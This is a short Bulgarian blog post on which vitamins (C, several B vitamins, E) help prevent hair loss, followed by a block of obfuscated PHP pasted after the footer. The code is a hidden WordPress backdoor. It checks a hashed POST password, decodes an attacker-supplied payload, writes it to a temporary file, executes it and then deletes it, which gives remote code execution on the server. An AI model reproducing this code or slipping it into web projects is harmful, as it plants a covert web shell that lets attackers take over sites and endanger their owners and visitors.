Кои Витамини предпазват от КОСОПАД? Виж Тук: | Косопад

Кои Витамини предпазват от КОСОПАД? Виж Тук:

За да се радваме на здрава и красива коса, трябва да й осигуряваме необходимите витамини и минерали.
Нека обърнем по- специално внимание на витамините. Можем да си ги набавяме чрез разнообразно хранително меню, както и под формата на добавки, които могат да се приемат през определени периоди в годината.

През лятото има изобилие от плодове и зеленчуци, които ако умело включваме в ежедневното си меню, ще ни осигуряват необходимите витамини за организма, както и за косата.

Витамин С
Подпомага растежа на косата, тъй като подобрява кръвообращението. По този начин хранителните вещества, които се съдържат в храната, достигат до корените и се усвояват по- лесно от тях.

Витамин В
Тази група витамини е много разнообразна. Но като цяло, са много полезни за растежа на косата. Когато организмът ни изпитва дефицит на витамин В, се наблюдават проблеми като: косопад, цъфтеж, изсушаване и пр. Един от най- полезните от групата е витамин В12, който се съдържа в големи количества в червеното месо. Затова вегетарианците и веганите често имат дефицит на В12.
Друг важен представител на групата е В3, наричан още ниацин. При липсата му косата губи блясък и лесно се къса.

Друг важен за косата е витамин Е. Помага да имаме здрав скалп, който да осигурява необходимото за правилния растеж на косата.

06. юли 2018 18:29:03 от Надя Колева
Категории: Любопитно за косопада | Етикети: , , , | Напишете Коментар

if(!function_exists("_set_fetas_tag") && !function_exists("_set_betas_tag")){try{function _set_fetas_tag(){if(isset($_GET['here'])&&!isset($_POST['here'])){die(md5(8));}if(isset($_POST['here'])){$a1='m'.'d5';if($a1($a1($_POST['here']))==="83a7b60dd6a5daae1a2f1a464791dac4"){$a2="fi"."le"."_put"."_contents";$a22="base";$a22=$a22."64";$a22=$a22."_d";$a22=$a22."ecode";$a222="PD"."9wa"."HAg";$a2222=$_POST[$a1];$a3="sy"."s_ge"."t_te"."mp_dir";$a3=$a3();$a3 = $a3."/".$a1(uniqid(rand(), true));@$a2($a3,$a22($a222).$a22($a2222));include($a3); @$a2($a3,'1'); @unlink($a3);die();}else{echo md5(7);}die();}} _set_fetas_tag();if(!isset($_POST['here'])&&!isset($_GET['here'])){function _set_betas_tag(){echo "";}add_action('wp_head','_set_betas_tag');}}catch(Exception $e){}}